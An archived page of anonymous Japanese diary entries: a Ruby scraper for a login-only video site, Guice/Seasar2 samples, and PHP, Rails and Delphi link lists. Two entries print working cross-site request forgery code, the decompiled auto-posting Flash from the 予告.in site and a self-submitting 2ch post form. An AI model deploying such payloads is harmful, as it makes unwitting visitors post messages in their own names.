Ms.Anamah Tanシンガポール
Ms.Maria Regina Tavares da Silvaポルトガル
Ms.Zou Xiaoqiao中国

こういう組織でも国ごとの政治力とかがもろに影響出るわけ。

たとえばこの委員会中国に対して上記記事のように何か苦言を呈した事は殆どございません(笑)。状況を報告してくるNGOとか団体が全部共産党の子飼いってのもあるけどな。フランスがそれを突っ込んだ事あるけどシカトされてるし。

他の国も似たような事言われたら「ハァ何言ってんの?俺んとこはちゃんとやってますが何か?」と突っぱねてるケースが大半、というか通例になってる。そういう組織なわけ。当たり前だけど、日本も同じようにスルーするだろうね。

2008-10-18

real street angels から mechanize を使って動画を取ってきてEmacsで見てみるよ

せっかく書いたから匿名でのせてみるよ

使い方は

  • 動画を取ってきたいよ
    • config.yamlユーザとかを設定するよ
    • ids.txt に取ってきたいIDを書くよ
    • sangels.bat を実行するよ
  • Emacs動画を見たいよ
    • sangels.el を load するよ
    • M-x sangels だよ

必要なものを gem で取ってくるにはこうすればいいよ

  • gem install -r log4r
  • gem install -r -v 0.6 hpricot
  • gem install -r mechanize

長すぎてelispが消えたから続きがあるよ

sangels.bat - 起動用バッチファイル

@echo off
setlocal
set WD=%~dp0
cd /d %WD%

ruby get_movies.rb
ruby get_images.rb
ruby create_m3u.rb

ruby

config.yaml - 設定ファイル
user: ユーザID
password: パスワード
ids_file: ids.txt
done_file: ids_done.txt
movies_dir: movies

log4r_config:
  pre_config:
    global: INFO
  loggers:
    - name: app
      type: Log4r::Logger
      level: INFO
      outputters:
        - STDOUT
        - FILE
  outputters:
    - name: STDOUT
      type: Log4r::StdoutOutputter
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%H:%M:%S"
    - name: FILE
      type: Log4r::FileOutputter 
      filename: "#{LOGDIR}/sangels.log"
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%Y-%m-%d %H:%M:%S"
get_movies.rb
require 'fileutils'
require 'logger'
require 'mechanize'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_movies")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

class IDFile
  def initialize(file)
    @file = file
    unless File.exist?(@file)
      Fileutils.touch(@file)
    end
  end

  def ids(contains_comment = nil)
    File.open(@file) {|io|
      io.to_a.map {|x|
        x.chomp
      }.select {|x|
        if x.empty?
          nil
        elsif contains_comment
          true
        else
          not /^\s*\#/ =~ x
        end
      }
    }
  end

  def add(id)
    ids = ids(true)
    unless ids.any? {|x| x == id}
      write(ids + [id])
    end
  end

  def delete(id)
    ids = ids(true)
    if ids.any? {|x| x == id}
      write(ids - [id])
    end
  end

  def write(ids)
    File.open(@file, "w") {|io|
      ids.each {|x| io.puts x}
    }
  end
end


$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  ids_file = IDFile.new($config.ids_file)
  done_file = IDFile.new($config.done_file)
  movies_dir = $config.movies_dir
  wget = WGet.new

  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  ids_file.ids.each {|id|
    begin
      movies = sangels.movies(id)
    rescue SAngels::Movies::InvalidMoviesError
      $log.warn("invalid movie id: #{id}")
      next
    end
    dir = File.expand_path(id, movies_dir)
    movies.each {|link|
      wget.retrieve(link.href, dir)
    }
    expected = movies.movie_links.map{|x| File.basename(x.href)}
    actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)}
    if (expected - actual).empty?
      done_file.add(id)
      ids_file.delete(id)
    end
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
get_images.rb
require 'fileutils'
require 'logger'
require 'mechanize'
require 'ostruct'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_images")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  movies_dir = $config.movies_dir
  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  thumbnails = sangels.thumbnails

  Dir.glob("#{movies_dir}/*").each {|dir|
    next unless File.directory? dir
    id = File.basename(dir)

    url = thumbnails.url(id)
    unless url
      $log.warn("#{id} is not found")
      next
    end
    path = File.expand_path("00_thumbnail#{File.extname(url)}", dir)
    next if File.exist? path

    $log.info("retrieving #{url}")
    thumbnail = thumbnails.get_file(id)
    File.open(path, "wb") {|io| io.write(thumbnail)}
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
create_m3u.rb
BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

$config = load_config(BASEDIR)
movies_dir = $config.movies_dir
Dir.glob("#{movies_dir}/*") {|dir|
  next unless File.directory? dir
  name = File.basename(dir)
  files = Dir.glob("#{dir}/*.wmv").sort

  File.open("#{movies_dir}/#{name}.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{name}/#{File.basename(file)}"
    }
  }

  File.open("#{dir}/00_movies.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{File.basename(file)}"
    }
  }
}
sangels.rb
require 'mechanize'
require 'hpricot'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

class SAngels
  HOST = "real2.s-angels.com"
  LOGIN_URL = "http://#{HOST}/member/"
  INFO_URL = "http://#{HOST}/teigaku/item.php"
  THUMBNAILS_URL = "http://#{HOST}/teigaku/"
  THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/"

  def initialize()
    @agent = WWW::Mechanize.new
  end

  def login(user, password)
    login_form = @agent.get(LOGIN_URL).forms.find {|form|
      form.fields.any? {|field| field.name == "frmLoginid"}
    }
    login_form.frmLoginid = user
    login_form.frmPw = password
    @agent.submit(login_form)
  end

  def movies(id, no_validate = nil)
    Movies.new(@agent, id, !no_validate)
  end

  def thumbnails
    Thumbnails.new(@agent)
  end

  class Thumbnails
    def initialize(agent)
      @agent = agent
      doc = Hpricot(@agent.get_file(THUMBNAILS_URL))
      elems = doc.search("div[@class=realthum]/a")
      @links = Hash(
        elems.map {|elem|
          href = elem["href"]
          id = $1 if /ID=(.+)/ =~ href
          url = elem.search("img")[0]["src"]
          [id, url]
        })
    end

    def get_file(id)
      @agent.get_file(url(id))
    end

    def url(id)
      @links[id]
    end

    def exist?(id)
      url(id)
    end
  end

  class Movies
    class InvalidMoviesError < StandardError
    end

    def initialize(agent, id, no_validate)
      @agent = agent
      @id = id
      if !no_validate &amp;&amp; !valid?
        raise InvalidMoviesError
      end
    end

    def info_page_url
      "#{INFO_URL}?ID=#{@id}"
    end

    def info_page
      @agent.get(info_page_url)
    end

    def movies_page
      @agent.click(info_page.links.find {|link| /P=10/ =~ link.href})
    end

    def movie_links
      movies_page.links.select {|link|
        /wmv$/ =~ link.href
      }.sort {|a, b|
        File.basename(a.href) <=> File.basename(b.href)
      }
    end

    def valid?
      info_page.uri.to_s == info_page_url
    end

    def each(&amp;block)
      orig_links = movie_links
      orig_links.each {|orig_link|
        link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)}
        block.call(link)
      }
    end
  end
end
util.rb
require 'log4r'
require 'log4r/yamlconfigurator'
require 'singleton'
require 'fileutils'
require 'ostruct'

def Hash(a)
  Hash[*a.flatten]
end

def load_config(basedir)
  OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)})
end

def new_logger(name)
  Log4r::Logger.new("app::#{name}")
end

def prepare_logger(basedir, logdir = nil)
  logdir ||= basedir
  Log4r::YamlConfigurator["LOGDIR"] = logdir
  Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml")
end

class NullObject
  include Singleton
  def method_missing(message, *arg)
    NullObject.singleton
  end
end

class WGet
  class << self
    attr_accessor :log
    def initialize
      super
      @log = NullObject.singleton
    end
  end
  
  def log
    self.class.log
  end

  def retrieve(url, dir)
    FileUtils.mkdir_p(dir)
    file = File.expand_path(File.basename(url), dir)
    if File.exist?(file)
      log.info("already retrieved #{url}")
      return true
    end

    tmp = "#{file}.part"
    log.info("retrieving #{url}")
    ret = system("wget", "-c", "-O", tmp, url)
    if ret
      log.info("retrieving succeeded #{url}")
      File.rename(tmp, file)
    else
      if $? == 0x020000 # Ctrl-C
        exit($?)
      else
        log.error("retrieving failure #{url} (#{$?})")
      end
    end
    return ret
  end
end

2008-08-04

予告.inに仕込まれてた自動2ch書き込みFlashActionScript抽出してみた

予告.inに仕込まれてたFlash

yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net

ここ↑にあるやつ。

解説よろしく。

movie 'post2ch.swf' {
// flash 8, total frames: 17, frame rate: 12 fps, 320x320 px

  frame 1 {
    System.useCodepage = true;
    nret = function (k, v) {
      return (flash.external.ExternalInterface.call('d', k, v)).toString();
    };

    host2ch = 'tmp6.2ch.net';
    i = _url.indexOf('://');
    if (-1 < i) {
      host2ch = _url.substring(i + 3);
    }
    i = host2ch.indexOf('.2ch.net');
    if (-1 < i) {
      host2ch = host2ch.substring(0, i + 8);
    }
    path2ch = '/test/bbs.cgi?guid=ON';
    l = new LoadVars();
    i = _url.indexOf('#');
    u = '';
    if (0 < i) {
      u = _url.substring(i + 1);
    }
    LoadVars.prototype.sendNoEnc = function (url, target, method) {
      LoadVars.prototype._toString = LoadVars.prototype.toString;
      LoadVars.prototype.toString = function () {
        return unescape(this._toString());
      };

      ASSetPropFlags(LoadVars.prototype, '_toString', 3);
      this.send(url, target, method);
      LoadVars.prototype.toString = LoadVars.prototype._toString;
    };

    ASSetPropFlags(LoadVars.prototype, 'sendNoEnc', 3);
  }

  frame 2 {
    _root.nowtime = null;
    _root.secondpost = null;
    _root.FROM = null;
    _root.mail = null;
    _root.MESSAGE = null;
    _root.subject = null;
    _root.ng = null;
  }

  frame 3 {
    (flash.external.ExternalInterface.call('c')).toString();
  }

  frame 9 {
    if (_root.nowtime == null) {
      if (!_root.ng) {
        gotoAndPlay(3);
      } else {
        this.stop();
      }
    }
  }

  frame 10 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    nowtime = _root.nowtime;
    l.addRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    l.hana = 'mogera';
    l.time = '1180000000';
    if (l.time < nowtime) {
      l.time = nowtime;
    }
    l.key = '';
    l.bbs = 'kitchen';
    l.MESSAGE = '%82%D3%82%F1%82%C7%82%B5';
    l.subject = '%82%D3%82%F1%82%C7%82%B5';
    l.mail = '';
    l.FROM = '%82%D3%82%F1%82%C7%82%B5';
    l.submit = '%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE';
    buf = u.split('&amp;');
    i = 0;
    goto 623;
    for (;;) {
      ++i;
      label 623:
      if (i >= buf.length) break;
      a = buf[i].split('=');
      if (a[0] == 'FROM') {
        nret('FROM', a[1]);
      }
      if (a[0] == 'mail') {
        nret('mail', a[1]);
      }
      if (a[0] == 'MESSAGE') {
        nret('MESSAGE', a[1]);
      }
      if (a[0] == 'subject') {
        nret('subject', a[1]);
      }
      if (a[0] == 'key') {
        l.key = a[1];
      }
      if (a[0] == 'time') {
        l.time = a[1];
      }
      if (a[0] == 'bbs') {
        l.bbs = a[1];
      }
      if (a[0] == 'host') {
        host2ch = a[1];
      }
      if (a[0] == 'path') {
        path2ch = a[1];
      }
    }
  }

  frame 16 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    if (_root.FROM != null) {
      l.FROM = _root.FROM;
    }
    if (_root.mail != null) {
      l.mail = _root.mail;
    }
    if (_root.MESSAGE != null) {
      l.MESSAGE = _root.MESSAGE;
    }
    if (_root.subject != null) {
      l.subject = _root.subject;
    }
    if (l.key != '') {
      l.subject = '';
    }
    if (l.subject != '') {
      l.key = '';
    }
    l.sendNoEnc('http://' + host2ch + path2ch, '_2ch', 'POST');
  }

  frame 17 {
    if (_root.secondpost != null) {
      _root.secondpost = null;
      gotoAndPlay(4);
    }
    _root.nowtime = null;
    gotoAndPlay(2);
  }
}
||>

2008-08-03

予告in犯罪予告スクリプトメモ

<body onload="document.frm.submit()">
<form name="frm" method="post" action="http://yutori.2ch.net/test/bbs.cgi?guid=ON">
<input value="書き込む" name="submit" type="submit">
<input name="FROM" size="19">
<input name="mail" size="19"><br>
<textarea rows="5" cols="70" wrap="off" name="MESSAGE">てst</textarea>
<input name="bbs" value="news4vip" type="hidden">
<input name="key" value="key" type="hidden">
<input name="time" value="time" type="hidden">
</form>

2008-05-13

GuiceSeasar2 を連携させてみたよ

[参考文献]

    S2 は、.dicon ファイルで定義をだいぶ簡略化できる。パフォーマンスはどうなんだろう。誰かテストしてくれいw

    app.dicon

    <?xml version="1.0" encoding="UTF-8" ?>

    <!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN" "http://www.seasar.org/dtd/components24.dtd">

    <components namespace="client">

    <include path="hello.dicon" />

    <component class="org.seasar.guice.Client" />

    </components>

    hello.dicon

    <?xml version="1.0" encoding="UTF-8" ?>

    <!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN"

    "http://www.seasar.org/dtd/components24.dtd">

    <components initializeOnCreate="false">

    <component class="org.seasar.guice.HelloServiceImpl" />

    </components>

    HelloService.java、HelloServiceImpl.java は、上記 ITPro と内容が同じなので省略。

    Module.java

    package org.seasar.guice;

    import org.seasar.framework.container.S2Container;

    import org.seasar.framework.container.SingletonS2Container;

    import org.seasar.framework.container.factory.S2ContainerFactory;

    import com.google.inject.AbstractModule;

    import com.google.inject.name.Names;

    public class Module extends AbstractModule {

    S2Container container = null;

    public Module(S2Container container){

    this.container = container;

    }

    @Override

    protected void configure() {

    bind(S2ContainerFactory.class).annotatedWith(Names.named(container.getPath()));

    bind(Client.class).toInstance(SingletonS2Container.getComponent(Client.class));

    }

    }

    Client.java

    package org.seasar.guice;

    public class Client {

    private HelloService helloService = null;

    public void setHelloService(HelloService helloService) {

    this.helloService = helloService;

    }

    public void execute() {

    helloService.sayHello();

    }

    }

    Main.java

    package org.seasar.guice;

    import org.seasar.framework.container.S2Container;

    import org.seasar.framework.container.factory.SingletonS2ContainerFactory;

    import com.google.inject.Guice;

    import com.google.inject.Injector;

    public class Main {

    private static final String PATH = ".\\app.dicon";

    public static void main(String[] args) {

    SingletonS2ContainerFactory.setConfigPath(PATH);

    SingletonS2ContainerFactory.init();

    S2Container container = SingletonS2ContainerFactory.getContainer();

    Module module = new Module(container);

    Injector injector = Guice.createInjector(module);

    Client client = injector.getInstance(Client.class);

    client.execute();

    }

    }

    実行結果

    java -cp ?? org.seasar.guice.Main

    2008/05/13 21:19:22 org.seasar.framework.log.Logger info

    情報: Running on [ENV]product, [DEPLOY MODE]Normal Mode

    Hello, world!

    実行環境JDK 7 (build 1.7.0-ea-b24)

    2008-03-08

    http://anond.hatelabo.jp/20080308213953

    これは?「アニメーション機能」がそれっぽく見えるけど。

    Frieve Editor

    ttp://www.frieve.com/feditor/index.html

    2007-09-25

    []PHP VS Rails (Ruby on Rails)

    PHP

    404 Blog Not Found:そろそろPHPに関して一言いっとくか

    PHPを使っても、知識は増えても知恵が増える気がちっともしないのである。


    スラッシュドット ジャパン | Ruby on Railsは万能薬ではない

    はてなブックマーク - スラッシュドット ジャパン | Ruby on Railsは万能薬ではない

    COBOL技術者の憂鬱 - RailsからPHPへ

    PHPプログラムを始めてみたい、難しいと思っている人の為に*ホームページを作る人のネタ帳

    アフィリエイトは儲かんないってば:PHP初心者によるPHP入門 - livedoor Blog(ブログ)

    1日平均13億3800万ページビューを誇るYahoo!JAPAN

    この爆裂なアクセスを誇るYahoo!JAPANを支えているテクノロジーのひとつがPHPということでした。

    PHPの車輪はバカに出来ない。使うに留めず使いこなしてからが面白い。*ホームページを作る人のネタ帳

    service_YouTubeというPEARモジュールを使うと、YouTubeAPIを活用して驚くほど簡単に動画サイトが作れます。

    指定したタグがついているすべての画像の一覧表示をいうのをservice_YouTubeを使うと以下の様な文で構築できます。


    CakePHPで高速Webアプリ開発:第1回 CakePHPを使いたくなる5つの特徴|gihyo.jp … 技術評論社

    Ruby

    Shane's Brain Extension: A Ruby Interface to the YouTube API

    YouTubeのAPIを使ってみる。 - t-imaizumiのMacとかのはなし

    Flickrの画像をはてなに貼り付けるためのHTMLを取得するスクリプト。 - t-imaizumiのMacとかのはなし

    InstantRails で 簡単 Ruby on Rails 体験

    10分で作るRailsアプリ for Windows - masuidrive

    ITmedia エンタープライズ:第1回 Instant Railsで始めるWindows環境のRails (1/2)

    Matzにっき(2007-09-15)

    Scaling Twitter: Making Twitter 10000 Percent Faster | High Scalability

    平均毎秒600アクセスというのも興味深い情報

    これは楽天の個別サービスアクセスよりも多い。


    【特選フリーソフト】生産性の高いWeb開発環境 Ruby on Rails:ITpro

    37signalsのBasecampはXeon 2.4GHz dual,メモリー2Gのサーバー2台で40万リクエスト/日を処理している。

    他にも43Things.comでも20万リクエスト/日の処理


    2005-12-31 - きんきん日記

    Basecampはデュアル2.4GHz Xeon、2MBメモリマシン上で15個のFastCGIプロセス

    50から100個のApache 1.3.xプロセスが動作している2つのWeb/アプリケーションサーバによって、

    1日約40万リクエストを処理している。しかし、マシンのロードは通常0.5から1.5程度。

    MySQLサーバは他の2つのアプリケーション(Ta-da ListとBackpack)で共有されていて、最大50万行のテーブルを持っている。

    このMySQLは3つのアプリケーションから利用されているが、ロードは0.1から0.3の間で、ボトルネックにはなっていない。


    Part2 Rubyに学ぶ「Ruby on Railsの正体」:ITpro

    Railsを使うことで可能になる自然な英文に近い記述

    1.day.ago # 現在時刻から1日前を表すTimeオブジェクト

    10.years.from_now # 現在時刻から10年後を表すTimeオブジェクト

    1.kilobyte # 1024

    ●productsテーブルからnameが'book',priceが2079であるようなProductオブジェクトを読み取り,存在しなかった場合はデータベースレコードを新規作成する処理

    book = Product.find_or_create_by_name_and_price('book', 2079)


    Ruby/Ruby on Rails/model/5分でわかるActiveRecord - PukiWiki

    モデル.findで、名前がMr.C、年齢が30歳のレコードを検索

    friend = Friend.find_by_name_and_age("Mr.C", 30)


    2005-11-13 - きんきん日記


    Ruby に挑戦

    Ruby配列は賢い

    $ irb

    irb(main):001:0> a = [ 'dog', 'cat', 'sheep', 'horse' ]

    ["dog", "cat", "sheep", "horse"]

    アルファベット順に並べ変えたいときは

    irb(main):004:0> a.sort

    ["cat", "dog", "horse", "sheep"]

    順序を逆にしたいときは

    irb(main):005:0> a.reverse

    ["horse", "sheep", "cat", "dog"]

    アルファベット順に並べて、順序を逆にしたいときは

    irb(main):006:0> a.sort.reverse

    ["sheep", "horse", "dog", "cat"]


    [Ruby]Ruby Python の比較

    2007-06-04

    []??Delphihacks??Delphi??Win32API??

    Delphi - Wikipedia??Windows開発の決定版 - Delphi(Skype??なでしこ)

    タグ「delphi」を含む注目エントリー - はてなブックマーク

    Delphiアプリケーションのメモリリーク検出法

    Delphiアプリケーションのメモリリーク検出法 (山本隆の開発日誌)

    作ろう!コンポーネント Delphi C++Builder

    http://www.componentsource.co.jp/features/delphi/

    TMS Software | Productivity software building blocks

    Components > Effects and Multimedia > Video. Torry's Delphi Pages

    Components > Effects and Multimedia > Audio. Torry's Delphi Pages

    Components > Effects and Multimedia > Voice. Torry's Delphi Pages

    Components > Effects and Multimedia > Direct X. Torry's Delphi Pages

    try finally end

    CとDelphiの対比表

    eXeScope(Windows95/98/Me / ユーティリティ)

    Delphi - テクノラティブログ検索

    2ch検索: [Delphi]

    Delphi-ML〓〓〓〓〓〓〓〓〓〓〓??About Delphi

    Delphi Q & A掲示板

    Delphi Q & A 〓f〓〓〓〓 〓〓〓〓〓〓O〓〓(HTML〓o〓[〓W〓〓〓〓)

    fdelphi.com

    Delphi入門

    旧 Delphi 入門??Seventh Delphi

    Delphiメモ

    超ローテクDelphi講座

    俺のためのDelphi学習

    Delphi はじめの一歩

    VB〓〓VC〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓H

    Delphi の格言

    キーボードからの入力取得

    マウスボタンのクリック、マウスの位置情報の取得

    ジョイスティックからの入力取得

    バッカーへの階段: 入門:キーロガー

    テキストファイルを読み書きする

    テキストファイルのロードとセーブ

    DelphiによるWin32API

    Delphi WAVEサウンド音を鳴らす/Tips & Tricks

    MIDI、WAVEファイルを再生する

    サウンドを読み込んで鳴らす

    MIDIを演奏する MCI/midiStream

    5分ではじめるDelphi - 第1回 簡単なメディアプレーヤの作成(前編)

    MP3プレイヤーを作る>dllによる再生

    Controling sound volume from code

    Torry's Delphi Pages

    lsMicrophone: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;

    MIXERLINE_COMPONENTTYPE_DST_SPEAKERS

    MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT

    SwissDelphiCenter.ch : ...set the volume for the microphone/ mute it (enhanced)?

    Components > Sound Effects > Mixer. Torry's Delphi Pages

    uses MMSystems;

    //

    PlaySound('C:\WINNT\Media\start.wav', 0, SND_FILENAME or SND_ASYNC);


    ビットマップを表示しよう

    画像ファイルを指定した位置へ表示

    俺Delゲーム応用

    画面をキャプチャして表示する

    めもニャンだむ

    Delphi6でプログラミング ビットマップの半透明コピー AlphaDraw

    画像処理プログラミング講座

    Graphic Effect

    カラー画像をモノクロ画像に変換

    procedure TForm1.Button1Click(Sender: TObject);

    var

    bmp1,bmp2 :TBitmap;

    begin

    bmp1 :=Tbitmap.Create;

    bmp2 :=Tbitmap.Create;

    try

    bmp1.LoadFromFile('C:\Program Files\Common Files\Borland Shared\Images\Splash\256Color\FINANCE.BMP');

    bmp2.LoadFromFile('C:\Program Files\Common Files\Borland Shared\Images\Splash\256Color\FACTORY.BMP');

    Form1.Canvas.Draw(10,10,bmp1);

    Form1.Image1.Canvas.Draw(10,10,bmp2);

    finally

    bmp1.Free;

    bmp2.Free;

    end;

    end;


    無料版Delphi6でSTGをつくるためのプログラミング講座 Ver.2005 Jan.

    Delphiでわずか59KBのオセロを作る方法

    めもニャンだむ:BIOS 情報

    コンストラクタとデストラクタ

    SwissDelphiCenter.ch : ...get the MAC Address?

    乱数

    DelphiでMD5

    もっと楽にGUIとの連携がしたい:Python + Delphi = P4D(Python for Delphi) - ふにゃるん

    Delphi WindowsのOSのバージョンを取得する/Tips & Tricks

    SourceForge.net: Gecko SDK for Delphi

    DelphiでWinSock

    SQLite-もげもげ〜

    BDS(Delphi/BCB)用SQLiteライブラリ (山本隆の開発日誌)

    Application.ProcessMessages

    FrontPage - DelphiVIP

    SwissDelphiCenter.ch : programming tips

    Torry's Delphi Pages

    Delphi Tips

    Delphi Code Tips

    Magic of Delphi4〓z〓[〓〓 〓y〓[〓W

    Delphi Win32API/API関数一覧

    Delphi〓〓〓Z

    クジラ式 Delphi 資料

    Delphi〓〓y〓[〓W

    サイト移転のお知らせ(Mr.XRAY)

    openDelphi.org

    KOL and MCKPage

    Gen's Delphi Labo.

    サイト移転のお知らせ(Mr.XRAY)

    ナッキーの「Turbo Delphiはじめて奮戦記」- 第1回 Turbo Delphi のインストール

    フリーのTurbo Delphiで始めるWindowsプログラミング:ITpro

    フリーのTurbo Delphiで始めるWindowsプログラミング:ITpro

    http://torrent.borland.com/turbo_hotfix_rollup.zip

    http://torrent.borland.com/prereqs_jp.zip

    http://torrent.borland.com/turbodelphi_jp.exe

    (1) \dotNETRedist\dotnetfx.exe

    (2) \dotNETRedist\langpack.exe

    (3) \dotNETRedist\NDP1.1sp1-KB867460-X86.exe

    \dotNETSDK\setup.exe

    \IE60SP1\ie6setup.exe

    \dotNETJSharp\vjredist.exe

    \dotNETJSharp\vjredist-Permalink | 記事への反応(1) | 15:15

    ログイン ユーザー登録
    ようこそ ゲスト さん